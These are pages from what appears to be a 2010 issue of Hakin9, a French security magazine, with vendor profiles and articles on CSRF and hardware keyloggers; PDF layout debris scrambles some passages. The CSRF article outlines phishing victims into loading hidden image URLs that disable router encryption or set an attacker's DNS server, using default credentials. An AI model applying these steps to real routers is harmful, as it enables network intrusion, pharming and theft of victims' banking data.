accepter. Les données du rapport doivent être présentées de manière à ce que nous puissions effectuer une analyse de risques en définissant les risques les plus importants et en nous concentrons uniquement sur ces risques-là.
Sebastian Stroik Depuis plus de 8 ans, l'auteur se consacre professionnellement au domaine informatique. Il est chargé au quotidien des opérations relatives à la réalisation des projets informatiques. Il se spécialise dans les projets de sécurité IT. Actuellement, il occupe le poste de spécialiste de sécurité IT chez Synergy Group. Contact avec l'auteur : [email protected]
22 HAKIN9 3/2010
18__22____test_penetr.indd 22
2010-03-10, 16:03:27
SERVICE REVIEW
Ilia Kolochenko, CEO de High-Tech Bridge SA
High-Tech Bridge SA a été fondée à Genève en 2007. Bien que fournissant de multiples services et solutions relatifs à la Sécurité des Systèmes d’Information, son entreprise principale demeure l’Ethical Hacking et le test de pénétration. Depuis sa création, High-Tech Bridge a acquis plus de 50 clients majeurs en Suisse et à l’étranger.
H
igh-Tech Bridge se distingue des autres sociétés de Sécurité Informatique de par son niveau élitiste d’expertise technique, son équipe Suisse de confiance, son large réseau de partenaires rigoureusement sélectionnés et la planification exemplaire de ses projets personnalisés. Le plus haut niveau d’expertise technique d’High-Tech Bridge repose sur son département de Recherche & Développement, lequel regroupe en une seule équipe les plus grands experts en Sécurité Informatique et des White Hat Hackers répartis sur toute la planète. Chercher et découvrir de nouvelles vulnérabilités, coder de nouveaux Exploits 0-Day et développer ses propres outils permettent à High-Tech Bridge de conserver constamment une longueur d’avance sur toute norme de sécurité et autres systèmes d’évaluation automatisée de la sécurité ou de détection de vulnérabilités. La sécurité par la recherche et la prévention est la philosophie sur laquelle s’appuient ses tests de pénétration. Son équipe découvre les vulnérabilités avant les Hackers, et y remédie avant les développeurs concernés. High-Tech Bridge coopère avec diverses sociétés de sécurité et de multiples fournisseurs de logiciels pour élaborer les meilleures solutions proactives et permettre une diffusion optimale des correctifs sécuritaires. Un partenariat stratégique avec IMPACT (International
Multilateral Partnership Against Cyber Threats), qui regroupe les efforts de 193 pays dans leur lutte contre les menaces informatiques, permet par exemple à HighTech Bridge de communiquer directement avec les dirigeants de l'industrie de la sécurité des systèmes d’information et les représentants des différentes autorités gouvernementales. Les experts de High-Tech Bridge sont des citoyens suisses de réputation irréprochable et disposant de plus de 10 ans d’expérience dans le domaine de la sécurité informatique. Leurs clients peuvent vérifier l’identité de chacun des intervenants ayant accès à des données confidentielles ou privées durant chaque test de pénétration et audit de sécurité. Habituée à intervenir dans des environnements extrêmement confidentiels, l’équipe a déjà été contrainte d’exercer sous surveillance vidéo et dans des bunkers souterrains de certains clients accordant une importance capitale à leur patrimoine informationnel. À la fin de chaque projet, toutes les informations relatives au client sont restituées et les données résiduelles de l’audit sont irréversiblement détruites. De même, chaque mandat commence par un solide accord contractuel sous forme de NDA (Non Disclosure Agreement) mutuel, permettant d’assurer l’absolue confidentialité des données de leurs mandants. La planification de leurs projets est flexible et convient parfaitement aux besoins spécifiques des moyennes et
grandes entreprises. High-Tech Bridge facture sur la base d’un taux jour-homme fixe. Néanmoins, il est possible d’établir des offres spécifiques aux besoins de clients particuliers, lesquelles sont alors délimitées par un nombre de jours précis ou un coût global contractuel. Un test de pénétration peut être réalisé sous 5 jours en pure Black Box tout comme il peut l’être en 5 semaines avec une méthodologie White Box incluant une revue de code. Généralement, les clients choisissent une solution intermédiaire de type Grey Box. Parallèlement aux tests de pénétration et à ses audits de sécurité, High-Tech Bridge propose des services d’aide à la reprise d’activités après incident et d’investigation numérique. Ses experts en sécurité peuvent notamment effectuer des enquêtes complexes permettant de découvrir la source réelle d'une attaque lorsque les pirates ont pris le soin de dissimuler leur identité en effectuant de multiple rebonds sur différentes machines préalablement compromises. Cette prestation particulière est de plus en plus sollicitée. Par ailleurs, HighTech Bridge surveille constamment les ressources communes à de nombreux Hackers dans le but de rester informée sur la communauté Underground. Pour tout complément d’information, n’hésitez pas à consulter le site WEB officiel de High-Tech Bridge: http://www.htbridge.ch.
3/2010 HAKIN9
23___HTbridge.indd 23
23
2010-03-11, 12:46:06
FOCUS DAVID TORTEL
Degré de difficulté
CET ARTICLE EXPLIQUE... La vulnérabilité XRF, les paramètres d'URL, la force de la balise img, les détails d'anciennes attaques pour la compromission d'un routeur personnel, la notion de drive by pharming Nous allons revenir sur ces attaques qui ont pu défrayer la chronique des scandales il y a quelque temps mais qui, même si elles sont aujourd’hui souvent avortées, pourraient certainement ressurgir un jour ou l’autre.
CE QU'IL FAUT SAVOIR... Notions sur le développement web et les protocoles applicatifs, idées sur le fonctionnement du protocole HTTP
La vulnérabilité Cross Site Request Forgery Cet article explique la vulnérabilité Cross Site Request Forgery, nom que nous abrègerons indifféremment en CSRF ou XRF dans toute la suite du document. Nous reviendrons d’abord sur une méthode qui a été utilisée pour prendre le contrôle d’une box grâce à l’exploitation de la vulnérabilité Cross Site Request Forgery. Nous expliquerons ensuite, à titre anecdotique, en quoi consisterait une attaque de type drive by pharming. Aujourd’hui, internet s’est très largement développé dans les foyers français. Seize millions et demi de foyers - estimation au 30 Septembre 2007, selon l’Arcep - possèdent une connexion internet, qui, pour la plupart s’étend à l’offre télé/téléphone. Par ailleurs, pour connecter plusieurs machines et gagner en mobilité, les utilisateurs choisissent souvent le mode wifi. Le mode wifi permet la transmission des données par ondes radio autour d'un point d’accès ; ainsi, plusieurs ordinateurs peuvent être connectés simultanément. Néanmoins, ces ondes sont captables par un ensemble de machines espionnes placées à une distance raisonnable. Guillaume Valadon, dans son article Tour d’horizon du wifi à Paris (MISC janvier/février 2008), explique que dans les 5emes et 13èmes arrondissements de Paris on compte entre 3107 et 5090 points d’accès sans fil par kilomètre carré. L'omniprésence de ces box donne une légitimité à cette cible. La configuration du réseau que nous allons étudier est la configuration minimale, la plus repandue, à savoir une box, des ordinateurs connectés à cette box qui sert de passerelle du réseau local vers le réseau internet. Nous verrons comment prendre possession d'un routeur personnel en exploitant une faille du type Cross Site Request Forgery.
XRF, une faille de niveau applicatif Le Cross Site Request Forgery est un type de faille de niveau applicatif ; elle exploite le navigateur de
la victime. Bien qu'elle soit aujourd’hui encore très peu médiatique et assez peu documentée sur le Web, elle fait en 2007 une entrée fracassante dans le classement de l’OWASP ("Le top 10 de l'Owasp fournit des méthodes de base pour se protéger contre les vulnérabilités" Sébastien Gioria, le président du bureau français de l'Owasp). Très facile à mettre en place, elle obtient un taux de réussite très impressionnant et peut, par conséquent, être à l’origine d’attaques très compromettantes. Le CSRF se mène de n’importe où, par n’importe qui sous réserve de quelques connaissances fondamentales. Le principe est simple : le navigateur de la victime est forcé d'envoyer une requête silencieuse vers un site où elle possède un accès privilégié. Ainsi, la confiance qu’un site attribue à l’utilisateur est détournée.
Les paramètres d'URL Toutes les URL ne servent pas uniquement à adresser une page ou un site Web. D'autres, qui font appel aux paramètres d'URL permettent d'exécuter une action. Un paramètre d’URL est un binôme nom/valeur qui ajouté à la fin de l’URL après un point d'interrogation, permet de donner des valeurs précises aux paramètres. Chaque valeur correspond à une action particulière. Par exemple, une requête vers l’URL http://www.parametredurl.com/exemple/para metre.php?compte=4593028492&versement=1& somme=10000& compte2=544789375
24 HAKIN9 3/2010
24_28___csff.indd 24
2010-03-10, 16:14:47
LA VULNÉRABILITÉ CROSS SITE REQUEST FORGERY
peut correspondre au versement de la somme de 10000 euros du compte 4593028492 vers le compte 544789375. Une action passe par la modification d’un paramètre et donc la modification de l'URL. La requête avec la nouvelle URL est envoyée au serveur qui commande l'exécution de l'action, sous réserve que l'expéditeur soit identifié et authentifié. L’idée directrice de la faille CSRF est de piéger la victime en faisant appel à ce genre d’URL. Car, lorsque la victime suit un lien avec une URL piégée vers un site où elle a des privilèges particuliers, elle peut exécuter une action, sans s'en apercevoir. Il s’agit donc de proposer un lien malicieux à la victime mais de le déguiser afin qu’elle fasse une requête involontairement.
– fonctionnement normal -. Dès lors, le navigateur enverrait une requête vers l'URL piégée sans que l'utilisateur ne s'en aperçoive (cf. Figure 2). •
Un piège bien maquillé Si la balise image est un outil puissant, la requête peut être cachée de diverses façons : •
La force de la balise img Le langage HTML est un langage de balisage qui permet de décrire la mise en forme des objets sur une page Web. Il est directement interprété par le navigateur (Internet Explorer, Firefox, Safari…). Lorsque ce dernier trouve une balise img, il procède au téléchargement de l’image. Par exemple, pour le code
•
Une balise img dans un mail Cependant, un obstacle subsiste. Certains webmail ou logiciels de messagerie désactivent par défaut le téléchargement automatique des images afin d’avorter ce genre d’attaque (cf. Figure 3). Lorsque la victime consulte ses mails, ces logiciels de messagerie lui proposent d’afficher les images. Par défaut, l’utilisateur affiche souvent les images, surtout si le sujet l’intéresse. Un cadre intégré IFRAME IFRAME est une balise html qui "est utilisée afin d’insérer dans une page HTML un autre document HTML (définition CERTA au 17/07/2008)". Les paramètres sont l’URL du document HTML à insérer et
•
•
la taille du cadre. Si nous créons un cadre de taille nulle, nous pourrons, comme précédemment, appeler une URL piégée, de façon transparente. Un script dans un mail Ce script pourrait lancer la connexion vers une autre page. Une url vers un site piégé contenant des images cachées (ou des IFRAMES intégrés) qui effectuent des requêtes. Le nom du site peut être caché en utilisant un lien hypertexte. Une URL piégée - qui effectue l’action souhaitée - mais cachée par dans un lien hypertexte. Dès lors, lorsque l’utilisateur suit le lien hypertexte, il effectue lui-même la requête.
Grâce à l'une de ces méthodes, il sera donc possible au pirate de maquiller sa requête afin que la cible exécute une action sans s'en apercevoir. Voyons quels risques encourent la victime et comment peut se présenter une telle attaque.
Un scénario d'attaque Un utilisateur est connecté sur le site de sa banque, afin de voir l’évolution de ses
il télécharge l’image exemple.gif sur le serveur qui héberge le site sitedefectueux.com. Cette opération est transparente pour l’utilisateur. Dans le cas où l’image n’existe pas, la requête est quand même postée et le serveur renvoie une erreur du type 404 not found . Lorsqu’un utilisateur demande la connexion à une page Web, plusieurs requêtes GET sont émises. Elles se capturent au moyen d’un analyseur d’entête. La capture d’écran ci-dessous démontre que la méthode GET employée est identique pour l’affichage d’une image et pour le chargement d’une page (cf. Figure 1). Le navigateur ne fait aucune différence entre une requête GET pour une page web ou pour une image. Ainsi, le pirate pourrait piéger une balise img, par exemple avec une URL permettant d’effectuer une action plutôt que d’afficher une image
Figure 1. la méthode GET est utilisée tant pour charger une page web que pour charger une image
Figure 2. Les balises images sont des vecteurs d'attaque très puissants car ils permettent d'effectuer une requête parfois malicieuse de manière transparente pour l'utilisateur. 3/2010 HAKIN9
24_28___csff.indd 25
25
2010-03-10, 16:14:56
FOCUS comptes. En même temps, il décide de surfer un peu ; il oublie de fermer sa session. Il reste alors toujours connecté, identifié et authentifié sur le site de sa banque. Arrive maintenant un pirate malhonnête qui envoie à l’utilisateur un e-mail bien ciblé qui contient un sujet excitant ; ici, le social engineering peut jouer un rôle : connaître sa victime et bien cibler ses centres d’intérêt. Très souvent, le webmail ou le logiciel de messagerie bloque les images. Intéressé par le sujet du mail, la victime décide d’afficher les images et procède alors au téléchargement de toutes les images. Le problème, c’est qu’en chargeant les images, il a également téléchargé des images qu’il ne verra pas. Ces images ne sont pas affichées car les balises ciblaient une adresse piégée. Cette URL demandait d’effectuer une action sur le site de la banque. Du point de vue de la banque, cette requête semble provenir directement de l’ordinateur de la victime (de sa session) et donc, par extrapolation, de la victime elle-même. Dès lors, la requête est traitée directement sans demande d’authentification. Ainsi, le pirate aurait pu lui faire faire un versement bancaire sans qu’elle ne s’en rende compte, sous réserve qu’elle ait une banque très mal sécurisée.
Vulnérabilité CSRF des box, un cas pratique Une fois les fondements théoriques de la vulnérabilité assimilés, voyons comment certains ont exploité cette faille pour prendre possession d'une box.
L'interface administrateur, une porte de passage La plupart des box possèdent une interface administration. Cette interface est directement accessible par l’utilisateur qui veut modifier
quelques paramètres de connexion : le type de chiffrement, la clé secrète, la transmission ou non en wifi, configuration de l’IP des clients du réseau local, reconfiguration des passerelles… grâce à une URL du type http: //adresseIpDeLaBox. La connexion à cette adresse est possible par toute personne étant connectée au réseau. Donc n’importe qui, présent sur ce LAN, a la compétence pour changer tous ces paramètres, sous réserve d’un mot de passe. Lorsqu'il se connecte à cette URL, l’utilisateur est confronté à une page web qui lui demande un nom d’utilisateur et un mot de passe pour continuer. Ces noms d’utilisateurs et ces mots de passe sont très souvent ceux proposés par défaut par les fabricants qui fournissent le routeur. Une fois identifié et authentifié, l'utilisateur peut modifier tous les paramètres de connexion comme il le désire. Il s'agit donc pour nous de trouver un moyen de pénétrer dans le LAN. Ainsi, une fois identifié avec les noms et mots de passe par défaut, nous serons en mesure de prendre le contrôle du point d'accès. Un moyen efficace pour pénétrer dans le réseau est le retrait du chiffrement des données. Cette action n'est pas invisible pour l'utilisateur connecté. Il faudra donc mener une attaque-éclair : enlever le chiffrement grâce à une attaque CSRF, se connecter à la box, récupérer la clé (WEP ou WPA), s'assurer de ne pas être piégé avec le filtrage MAC (nous pourrons noter une MAC acceptée puis nous connecter avec)et remettre le chiffrement.
Utilisation du phishing La première difficulté est d’arriver à piéger l’utilisateur. Il nous est absolument
nécessaire que celui-ci télécharge l'image piégée, qui comportera l'URL malicieuse. Pour cela, il convient de se pencher une seconde sur la technique de phishing. Il s’agit ici d’exploiter la faille humaine en dupant la cible par le biais d’un courrier électronique semblant provenir d’une entité de confiance (une société ou une personne qu’ils connaissent). Ce mail propose au lecteur de se connecter en ligne via un lien hypertexte. Pour cela, il est important de bien connaître sa cible. Une bonne technique de social engineering consisterait à s'en rapprocher afin de cerner ses centres d’intérêt. Puis, nous prendrons quelques heures pour concocter un mail qui puisse arriver à l’intéresser suffisamment. Une fois piégé, une partie de l’attaque aura déjà été un succès… A titre d'exemple, les dernières attaques de phishing recensées ont pris l’identité de free (Attaque phishing contre les abonnés Free : http://www.mag-securs.com/ spip.php?article13192), ont parlé de la crise ou du chômage, ont proposé de l'emploi en ligne, un faux héritage ou encore, ont exploité le réseau social Facebook… A nous de choisir le thème qui intéressera le plus notre cible.
L'attaque proprement dite Une fois le thème choisi, il convient de bien concocter notre lien piégé, c'est-à-dire l'URL exacte d'action que nous voulons exécuter. Celle-ci aura pour but de forcer l’utilisateur à enlever le chiffrement des ondes radio. Pour comprendre le déroulement des opérations au niveau machine, nous nous connectons chez nous et nous enlèvons l’option "chiffrement des données". La confirmation se fait par l’activation d’un
Figure 3. Certains webmails, comme Gmail n'affichent pas les images afin de protéger les utilisateurs de ce vecteur d'infection 26 HAKIN9 3/2010
24_28___csff.indd 26
2010-03-10, 16:15:05
LA VULNÉRABILITÉ CROSS SITE REQUEST FORGERY
bouton pour envoyer les paramètres à un fichier. Les variables envoyées sont : l’option choisie (ici, le cryptage en WEP), le SSID du réseau, le niveau de sécurité ainsi qu’une variable demandant si le filtrage MAC est activé. Nous pouvons facilement capturer l’adresse appelée en utilisant un ajout de Firefox appelé Tamper Data, ou utiliser http headers - Ce module complémentaire permet de capturer l’ensemble des requêtes http émises. C'est vers ce type d'URL que la cible devra faire une requête, permettant ainsi le non chiffrement des dialogues AP/station. L’analyse du résultat proposé par http header permet de connaître tous les paramètres importants ainsi que la valeur qu’il faut leur attribuer pour enlever le chiffrement des données sur une box qui ne nous appartient pas. Il est important de noter que toutes les box fonctionnent de manière différente.
Pour piéger quelqu’un avec cette méthode, il convient de connaitre le modèle exact du routeur de la victime, se le procurer et l'étuder de manière pointue afin de découvrir, grâce aux méthodes proposées ci-dessus, les paramètres utiles et leur valeur. Voici quelques problèmes qui susceptibles de survenir dans la quasi totalité des cas : • •
•
P
24_28___csff.indd 27
Il faut connaitre le SSID du réseau WIFI à piéger L’accès à la zone d’administration est filtré avec un couple nom d’utilisateur/ mot de passe. Une protection propre à firefox demande une validation pour se connecter à ces URL mais, intégré dans une page HTML cette protection disparait.
U
B
L
I
C
I
T
La réponse au premier problème est quasi-immédiate, il suffit de découvrir son SSID, ce qui est très facile avec des outils comme aircrack. Pour le problème identification/ authentification, il convient de remarquer que les box sont livrées avec un mot de passe par défaut, très rarement modifié. Par ailleurs, il est possible de s'identifier sur une page grâce à une URL avec la syntaxe suivante: http://login:motdepasse@nomdusite. Si nous intégrons, avec cette méthode, les mots de passe et nom d’utilisateurs par défaut dans l’URL piégée, nous aurons résolu le deuxième problème. A titre d’information, le site internet mag-securs, spécialisé dans la sécurité informatique expliquait le 26 Janvier 2009 qu’une telle faille était exploitable sur les routeurs Siemens ADSL SL2-141. Car, pour faire face à cette attaque, les routeurs de
É
2010-03-10, 16:15:14
FOCUS type Siemens sont dotés d’un jeton qui prend une valeur aléatoire. Le jeton prend une valeur aléatoire entre 0 et 11000. Il faut tester avec toutes les valeurs possibles (11001 possibilités). Pour ceci, il faut parvenir à faire exécuter un script sur l’ordinateur de la victime afin qu'il teste toutes les valeurs. Un tel script est disponible sur internet à l’adresse http://www.mag-securs.com.sp op.php?article12681. Cette solution prend du temps, l’utilisateur peut s’en apercevoir. Une fois que l’URL piégée est découverte, un mail est proposé à la victime afin que celle-ci exécute l’action. Si une méthode GET est lancée vers le lien, les données circuleront en clair.
Le drive-by pharming Si le but de notre attaque est d’amener l’utilisateur à se connecter à une machine piégée, une solution pratique consiste à corrompre la bonne marche du protocole DNS. Dans cette hypothèse, il faut, auparavant, avoir mis au point des sites trompeurs profitant de la naïveté de l’utilisateur.
Le drive by pharming en théorie Le drive by pharming est une variante du scénario CSRF. Elle a été nommée ainsi par l’équipe de Symantec. Cette technique cible tout particulièrement les routeurs personnels. Nous allons ici étudier le principe général de cette attaque avant de l’appliquer au cas concret qui nous intéresse. Nous venons de voir en quoi consiste une exploitation de la vulnérabilité CSRF : il s’agit d’inciter une victime à faire une requête vers une url piégée. Dès lors, nous forçons le navigateur à envoyer une requête silencieuse à l’insu de l’internaute. Le terme de pharming doit également être assimilé. Il exprime la redirection du serveur DNS de la victime. Le protocole DNS assure la conversion nom de domaine/ adresse IP. Ainsi, lorsque l’utilisateur saisit une URL, celle-ci est traduite par le protocole DNS en l’adresse IP du serveur qui héberge
le site. Dès lors, le navigateur place cette conversion dans son cache DNS puis il adresse sa requête à l’adresse IP correspondante. Prenons un exemple : la victime veut se connecter au site de sa banque www.mabanque.com. Elle saisit donc cette adresse dans la barre URL. Le navigateur vérifie s’il possède la conversion www.mabanque.com/ IP dans son cache. Le cache est rafraichi environ toutes les trois minutes. S’il n’a pas l’adresse IP recherchée, il fait appel au protocole DNS. Pour cela, il envoie une requête DNS vers son routeur ; l’adresse du serveur DNS interne est déterminée lors de la connexion de la machine au sous-réseau au travers du protocole DHCP, il s’agit du routeur dans la plupart des cas. Ce dernier possède l’adresse du serveur DNS légitime à qui il doit transmettre la requête, à condition de ne pas posséder la réponse dans son cache ; cette adresse est configurable et se trouve dans les propriétés de la box. Le drive by pharming intervient ici en injectant dans le routeur une adresse de serveur DNS primaire non légitime. Ainsi, l’entité qui fournit une réponse à la requête DNS, comme elle n’est pas légitime, peut servir les intérêts d’un pirate malveillant. Si la véritable adresse de www.mabanque.com était par exemple 192.87.58.09, alors le drive-by-pharming – et plus precisement le faux serveur DNS - jouerait son rôle en insérant l’association www.mabanque.com = 134.87.46.28 . Cette adresse IP est, par exemple, l’adresse d’un site malicieux dont le design est très proche de celui de www.mabanque.com, pour que la victime ne se doute de rien. Cette opération reste invisible pour l’utilisateur qui reste persuadé qu’il s’est connecté au site de sa banque. Dès lors, il saisit en toute confiance des données confidentielles que nous seront en mesure de récupérer. Le drive by pharming reprend donc deux notions : celle de vulnérabilité CSRF et celle de pharming. Il s’agit donc de se
connecter à la volée sur le routeur de la victime au travers d’une attaque CSRF puis lui proposer l'adresse d'un nouveau serveur DNS. Cette attaque est une attaque très rapide à mettre en place.
Le drive by pharming d'un point de vue pratique Ainsi, nous forçons l’utilisateur à charger une URL du type http://login:motdepasse@adrIPduroute ur/index.php?dns=w.x.y.z avec les méthodes expliquées cidessus o`u w.x.y.z représente l’adresse IP serveur DNS du pirate. Certains routeurs nécessiteront un redémarrage pour prendre en compte cette modification. Une fois cette étape terminée, le pirate maitrise parfaitement les visites de son voisin piégé. S’il était malhonnête, il pourrait alors le renvoyer vers ses propres sites (ce qui serait tout à fait transparent pour pour la victime car elle taperait ses propres URL) et lui voler des informations sensibles.
Conclusion Nous avons tenté de vous expliqué une méthode pour prendre le contrôle d’une box dont le site web lié à son administration comporterait une faille de type CSRF. Nous avons réussi à changer le mode de chiffrement du point d'accès ou à en détourner le DNS. Voici des attaques assez originales et, somme toute, assez peu développées sur le web, mais dont nous pouvons redouter à l’ avenir qu’elles reviennent faire la une des actualités. Car si des contre-mesures très simples permettent de corriger cette faille - potions qui sont déjà appliquées à la plupart des interfaces d’administration. Un developpeur n’est jamais àl’abris d’un oubli qui pourrait nous permettre de ressortir ces vieilles techniques.
À propos de l'auteur
Sur Internet • •
http://www.symantec.com/avcenter/reference/Driveby_Pharming.pdf– explication datant de 2006 du drive by pharming http://www.owasp.org/images/c/ce/OWASP_Top_10_2007_-_French.pdf
détaillée
David est étudiant à Télecom Paristech, école d'ingénieurs spécialisée dans les nouvelles technologies de l'information et de la communication. Actuellement élève d'un master ès sécurité de l'information, il s'intéresse aux vulnérabilités non seulement techniques mais également humaines, honorant ainsi le social engineering d'une place de choix sur la scène de l'intrusion dans un système d'informations.
28 HAKIN9 3/2010
24_28___csff.indd 28
2010-03-10, 16:15:24
INTERVIEW
Olivier Franchi et Paolo Pinto sont Directeurs Associés de Sysdream depuis 2007. Co-fondateur, Paolo Pinto est expert certifié en sécurité informatique, il est le Directeur Technique de Sysdream. Olivier Franchi, directeur commercial, est issu du milieu industriel des produits et services destinés aux SI. Pouvez-vous nous présenter Sysdream et son activité ? Sysdream est un cabinet de conseil & d'audit en sécurité informatique, de développement sécurisé et de formation. Spécialisé dans l'audit, de plus en plus de clients nous contactent pour la formation d'administrateur, d'analyste ou d'expert en sécurité informatique, véritable point central aujourd'hui, de la fiabilité des modèles économiques.
Sysdream mise sur les recherches pointues dans les processus de sécurité en entreprise. Quelle est votre mission dans le développement ? Tout le monde ne peut s'improviser expert en sécurité informatique et la constante évolution des technologies et des logiciels impose bien souvent un risque grandissant pour les entreprises. Ce constat nous a poussés à investir nos recherches sur l'amélioration d'outils visant à transférer notre expertise dans certains domaines comme Syclop, un outil de test de pénétration évolué ou encore Sysghost, un système de ghost sécurisé permettant l'analyse forensic et l'acquisition de data, via le réseau. De plus, nous participons au perfectionnement des solutions actuelles avec la recherche des vulnérabilités sur les logiciels grand public ou l'approfondissement de nos supports de cours pour nos stagiaires. Sysdream est labellisée JEI depuis 2009 grâce à ses efforts dans le domaine de la recherche de vulnérabilités.
Les tests de vulnérabilités et tests d'intrusions permettent de savoir si l'entreprise est potentiellement
vulnérable aux attaques. Pouvezvous nous expliquer comment se passe un tel test d'intrusion ? L'idée principale d'un test d'intrusion est de se mettre en condition réelle d'attaque afin de mettre en évidence les points de faiblesse de l'infrastructure cible. En fonction des informations et des demandes que le client fournit à nos équipes, les consultants s'appliquent à effectuer divers tests durant une période que le client a définie : scanner de services et de vulnérabilités, social engineering et reversing d'applications principalement. S'en suit alors un rapport complet détaillant le travail des consultant, les failles détectées et les corrections à apporter.
Quels types d'interventions propose Sysdream en matière d'audit de sécurité ? Il y a plusieurs types d'audit de sécurité pratiqué par Sysdream. L'audit technique, qui désigne généralement le test d'intrusion et l'audit organisationnel qui permet d'analyser la politique de sécurité globale de l'entreprise. Concernant l'audit technique, il existe plusieurs types de test d'intrusion. Le premier, le plus demandé par les clients, est la Boîte Noire. Le client désigne simplement la ou les infrastructures qu'il souhaite tester sans nous donner plus d'information. Nos consultants se mettent alors dans la peau des hackers et identifient puis testent un maximum de vulnérabilités connues ou non. Le second type de test d'intrusion est la Boîte Blanche. Ici, nous opérons avec la participation complète du client. Avec un plein accès aux informations de l'infrastructure, nous analysons alors en détails la politique de sécurité du client.
Quelles sont les mesures à prendre pour assurer la sécurité optimale de son SI ? Est-il nécessaire de former des personnes responsables pour les applications de mesures de sécurité ? Comme tout art ou technologie, il est souvent nécessaire de les comprendre pour pouvoir les utiliser au mieux. Même avec des outils perfectionnés, les logiciels offrant une sécurité prêt à l'emploi perdent de leur efficacité avec une personne néophyte. C'est la principale raison du succès de nos formations. L'homme est bien souvent le seul capable d'analyser et de prédire un événement malheureux dans son SI.
Sysdream propose des formations en sécurité. Qui sont vos formateurs et à qui s'adressent vos formations ? Nos formateurs sont nos consultants, chacun étant expert dans un domaine particulier. Ils alternent audits et formations afin de rester en permanence au faîte des dernières techniques et des méthodologies des hackers, ceci pour proposer aux stagiaires une formation complète au plus proche de la réalité. Les formations s'adressent à un public professionnel en relation directe avec les nouvelles technologies. La sécurité, si longtemps vue comme une spécialité réservée à quelques cas précis, est aujourd'hui devenue primordiale face à l'espionnage industriel, la cyberdélinquance et les failles de sécurité lors du développement ; en résumé, nos formations s’adressent à tous ceux qui sont confronté à ces problèmes, de près, ou de loin. www.sysdream.com 3/2010 HAKIN9
29___sysdream.indd 29
29
2010-03-11, 15:29:22
FOCUS Les keyloggers
MICHAEL R. HEINZL
Une menace sérieuse Degré de difficulté
Les keyloggers représentent une menace sérieuse tant pour les entreprises que pour les particuliers. Leur but est d'enregistrer l'ensemble des données saisies par l’utilisateur pour les transmettre à l'attaquant.
P
lusieurs méthodes permettent à un attaquant de récupérer des données saisies par un utilisateur (informations utilisateur, emails, coordonnées bancaires…). Un attaquant peut alors transférer de l'argent du compte de sa victime vers son propre compte bancaire ou mener d'autres actions frauduleuses. Dans le cadre de cet article, nous aborderons l’utilisation des keyloggers matériels avant de nous intéresser aux différentes méthodes et outils pour s'en prémunir.
Présentation
CET ARTICLE EXPLIQUE...
Un keylogger est une solution matérielle ou logicielle qui permet d'enregistrer l’ensemble des données saisies par un utilisateur (Voir Figure 1). De nombreuses raisons peuvent expliquer l’utilisation d’un keylogger. Les fabricants de ce type de logiciels/matériels [1] [2] [3] [4] les emploient de manière légale :
Ce que sont les keyloggers, leurs menaces potentielles et leur principe de fonctionnement.
•
Comment protéger votre entreprise de ces menaces.
•
Ce à quoi vous pouvez vous attendre dans le cadre des développements futurs.
CE QU'IL FAUT SAVOIR... Aucune connaissance préalable n'est requise.
• • •
pour faire une copie d'éléments de preuve dans le cadre d'une enquête pour faire une copie de documents sensibles en cas de crash système ou matériel pour surveiller l’accès aux contenus pornographiques et protéger les enfants pour surveiller les possibles abus d’employés pendant leur temps de travail pour servir de support aux détectives privés et experts en sécurité
Bien que dans certains cas, d'autres méthodes puissent être employées, les keyloggers sont de plus en plus utilisés par la médecine légale dans le cadre des affaires criminelles. Dans ce dernier cas, leur utilisation est justifiée. Mais malheureusement, les keyloggers sont « détournés » de leur fonction première à des fins frauduleuses. En règle générale, ces affaires font la une de la presse. Les keyloggers permettent notamment aux attaquants de subtiliser des données confidentielles telles que les mots de passe, noms d'utilisateur, données internes à une entreprise, coordonnées bancaires... pour les revendre à des organisations criminelles ou pour menacer leurs victimes en échange de rançons. Différents modèles de keyloggers existent sur le marché, toutefois ils peuvent être divisés en deux grandes catégories : les keyloggers logiciels et les keyloggers matériels. Dans le cadre de cet article, nous nous intéresserons à la seconde catégorie, celle des keyloggers matériels.
Keyloggers logiciels Les keyloggers les plus sophistiqués disposent de plusieurs fonctions, parmi lesquelles l'enregistrement des frappes clavier. En règle générale, il est possible de réaliser des captures d'écran de la machine cible puis de s’authentifier sur le programme pour consulter les données enregistrées. Aujourd'hui, la plupart des keyloggers autorisent la transmission automatique des fichiers logs vers des adresses
30 HAKIN9 03/2010
30_35___hardware.indd 30
2010-03-10, 16:20:19
LES KEYLOGGERS MATÉRIELS - UNE MENACE SÉRIEUSE
mails ou serveurs web. D'autres keyloggers permettent d'enregistrer la voix, les flux vidéo sur webcams ou les données saisies par l'utilisateur (les keyloggers utilisés pas les pirates intègrent généralement des rootkits et d'autres programmes malveillants pour exploiter les données de l'utilisateur ; il s'agit alors d’applications « hybrides ». L’un des principaux défauts des keyloggers logiciels est leur manque de discrétion, ils sont facilement repérables. Les keyloggers logiciels exécutent des programmes sur la machine cible et laissent plus ou moins de traces selon le système. Par ailleurs, les keyloggers logiciels se lancent au démarrage du système d'exploitation ou après authentification à l'écran d'accueil Windows. Il est donc impossible d'enregistrer des mots de passe du BIOS, informations de connexion au démarrage de Windows ou des partitions cryptées de type TrueCrypt.
Keyloggers matériels Les keyloggers matériels sont moins utilisés que les keyloggers logiciels, mais leur portée est beaucoup plus dévastatrice. Contrairement aux keyloggers logiciels, les keyloggers matériels doivent être branchés physiquement à la machine cible. En général, cette catégorie de keyloggers est branchée entre le clavier et l'ordinateur (en externe). L'installation se fait donc en seulement quelques secondes sans configuration préalable, ce qui permet même aux débutants d'utiliser ce type de matériel (Voir Figure 2). Le keylogger s'adapte parfaitement aux claviers avec ports PS/2 ou USB sur l'ordinateur. Il en existe même qui sont intégrés directement aux claviers [6] ou aux commutateurs KVM (clavier, carte vidéo, souris) tandis que d'autres sont reliés directement à la carte mère, généralement PCI [7] (en interne) (Voir Figure 3).
Figure 1. KeyGhost USB - Keylogger matériel [4]
